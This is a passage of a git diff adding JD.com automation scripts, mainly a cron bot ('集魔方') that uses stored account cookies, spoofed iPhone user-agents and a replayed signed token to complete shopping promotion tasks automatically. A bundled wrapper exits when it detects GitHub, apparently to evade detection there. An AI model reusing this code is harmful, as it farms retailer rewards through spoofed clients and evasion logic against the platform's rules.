Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mofang.js b/backUp/jd_mofang.js new file mode 100644 index 0000000..0cc0063 --- /dev/null +++ b/backUp/jd_mofang.js @@ -0,0 +1,196 @@ + +/** +集魔方 +cron 11 10 * * * jd_mofang.js +TG:https://t.me/sheeplost +*/ +const $ = new Env('集魔方'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await getInteractionHomeInfo(); + await $.wait(500) + await queryInteractiveInfo($.projectId) + if ($.taskList) { + for (const vo of $.taskList) { + if (vo.ext.extraType !== 'brandMemberList' && vo.ext.extraType !== 'assistTaskDetail') { + if (vo.completionCnt < vo.assignmentTimesLimit) { + console.log(`任务:${vo.assignmentName},去完成`); + if (vo.ext) { + if (vo.ext.extraType === 'sign1') { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vo.ext.sign1.itemId) + } + for (let vi of vo.ext.productsInfo ?? []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId) + } + } + for (let vi of vo.ext.shoppingActivity ?? []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 0) + } + } + for (let vi of vo.ext.browseShop ?? []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + for (let vi of vo.ext.addCart ?? []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + } + } else { + console.log(`任务:${vo.assignmentName},已完成`); + } + } + } + } else { + $.log('没有获取到活动信息') + } +} +function doInteractiveAssignment(projectId, encryptAssignmentId, itemId, actionType) { + let body = { "encryptProjectId": projectId, "encryptAssignmentId": encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": itemId, "actionType": actionType, "completionFlag": "", "ext": {} } + return new Promise(resolve => { + $.post(taskPostUrl("doInteractiveAssignment", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(data.msg); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryInteractiveInfo(projectId) { + let body = { "encryptProjectId": projectId, "sourceCode": "acexinpin0823", "ext": {} } + return new Promise(resolve => { + $.post(taskPostUrl("queryInteractiveInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + $.taskList = data.assignmentList + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getInteractionHomeInfo() { + let body = { "sign": "u6vtLQ7ztxgykLEr" } + return new Promise(resolve => { + $.get(taskPostUrl("getInteractionHomeInfo", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.result.giftConfig) { + $.projectId = data.result.taskConfig.projectId + } else { + console.log("获取projectId失败"); + } + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": UA, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html", + "Cookie": cookie, + } + } +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } 